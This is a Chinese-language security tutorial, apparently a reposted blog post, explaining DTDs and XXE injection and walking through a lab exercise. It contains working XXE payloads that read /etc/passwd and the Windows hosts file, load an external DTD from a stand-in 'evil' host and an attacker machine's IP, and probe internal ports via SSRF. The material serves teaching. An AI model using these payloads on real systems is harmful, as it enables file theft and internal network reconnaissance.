  <!ELEMENT note (date,to,from,heading,body)>
  <!ELEMENT date    (#PCDATA)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]> 

在上述代码中,第一行定义了这是对哪种类型的根元素的限制,如在上述示例中,就是对 note 类型的限制。然后规定了这个节点下面有哪些子标签,并且对每个标签的内容进行定义,示例中将每个标签的内容都规定为 PCDATA 即解析字符数据。

完成了 DTD 的编写之后,Web 应用在处理 XML 文档时,就会开始判断 XML 是否合法,如果合法就会处理这个文档,否则就不会继续处理这个文档。一般来说,DTD 文档既可以被写在 XML 文档内,也可以通过外部引用进行导入,它的导入方式如下:

<!DOCTYPE note SYSTEM "http://www.example.com/example.dtd">

这段代码引入了外部 DTD 文件,这里是一个安全隐患。到这里,你可能会好奇 DTD 不就是做一些检测工作,会导致什么安全问题呢?

事实上,这个 DTD 文档,还有一个实体声明的功能,它的这一功能也就是导致我们今天所讲的 XXE 漏洞的主要原因。

DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,这么说可能会有点抽象,下面我们一起看一个示例,这样理解起来就会简单些。

<?xml version="1.0"?>
<!DOCTYPE example [
#<!ENTITY 实体名称 “实体的值”>
<!ENTITY to "LiHua">
]>
<example>&to;</example>

在这个示例的 DTD 语句中,定义了一个实体 to,并让它的值为 LiHua,然后在 XML 语句中,可以用 &to 调用这个实体。

这是一个内部实体声明,因为实体的值已经被写在了 XML 语句中,它其实还支持外部实体声明,具体的实现方式为:

#<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY to SYSTEM "http://example.com/example.dtd">

这个功能就是我们今天所讲的 XXE 的罪魁祸首,攻击者就是通过 DTD 外部实体声明来实现外部实体注入的。

2、XXE漏洞的产生原因

如果说我们的web应用使用了XML文档传输或者存储数据,并且允许引用XML外部实体的话,就可能存在外部实体注入的可能性:

<!DOCTYPE a [
     <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

比如上面的代码,如果页面解析了C标签的内容,并将它输出的话,那么攻击者就会获取到passwd文件的内容。

当然攻击者也可以利用 DTD 文档引入外部 DTD 文档,然后再引入外部实体声明,这样需要的 XML 内容为:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evial_ip.com/evil.dtd">
<c>&b;</c>

而我们的外部dtd文档的内容为:

<!ENTITY b SYSTEM "file:///etc/passwd">

这样也可以实现上述XML文档读取passwd文件的功能。

3、XXE注入实践

XML 外部实体注入会有很多危害,例如隐私文件获取以及发起 SSRF 攻击。让我们看一下它的攻击方式。

1)读取隐私文件

这里我们打开了一个XXE靶场,在登录的时候,我们抓包发现,他的登录账号是使用的XML文档提交的,而不是使用的常规的表单提交:

在这里插入图片描述

那我们按照刚刚是演示思路来试试,看能不能读取文件呢?

这里我们将XML文档内容改为下面这样:

<?xml version="1.0"?>
<!DOCTYPE note[
		<!ENTITY a SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">
]>
<user>
  <username>&a;</username>
  <password>admin</password>
</user>

可以通过payload发现,我们要读取的文件windows系统中的hosts文件,而我们的攻击成果也是成功的:

在这里插入图片描述

可见成功的获取到了文件内容。但是我们刚刚是采用的直接注入XML文档的方式进行的读取,并没有采用XML的DTD文档进行攻击,这里我们为了全面的测试一下,所以再来一个使用DTD外部实体注入的方式来进行测试:

首先我们在攻击机kali中编写这样一个DTD文档:XXE.dtd,其实这个文档的内容就是我们刚才定义的XML实体的内容。

<!ENTITY a SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">

然后我们修改paylaod内容为下面这样:

<?xml version="1.0"?>
<!DOCTYPE user [
	<!ENTITY  % xxe SYSTEM "http://192.168.17.131:8000/XXE.dtd" >
%xxe;]>
<user>
  <username>&a;</username>
  <password>admin</password>
</user>

发送payload后,测试结果显然是成功的,说明我们的外部实体已经别加载了。

在这里插入图片描述

上面我们使用XXE漏洞读取了系统的铭感文件,这里我们使用XXE漏洞来探测一下内网站点试试。

2)探测内网站点

这里我们以直接注入XML实体的方式来进行探测,我们使用刚刚的payload进行一下修改:

<?xml version="1.0"?>
<!DOCTYPE note[
		<!ENTITY a SYSTEM "http://127.0.0.1:80/">
]>
<user>
  <username>&a;</username>
  <password>admin</password>
</user>

我们可以看到探测80端口的时候,结果是下面这样的:

在这里插入图片描述

当我们探测尚未开放的端口:8888的的时候,报错内容是这样的:

在这里插入图片描述

很明显,报错内容存在较大的差别,说明我们能够通过这样的方式来判断内网IP或者端口是否开放。

五、参考资料

猜你喜欢

转载自blog.csdn.net/qq_45590334/article/details/125687669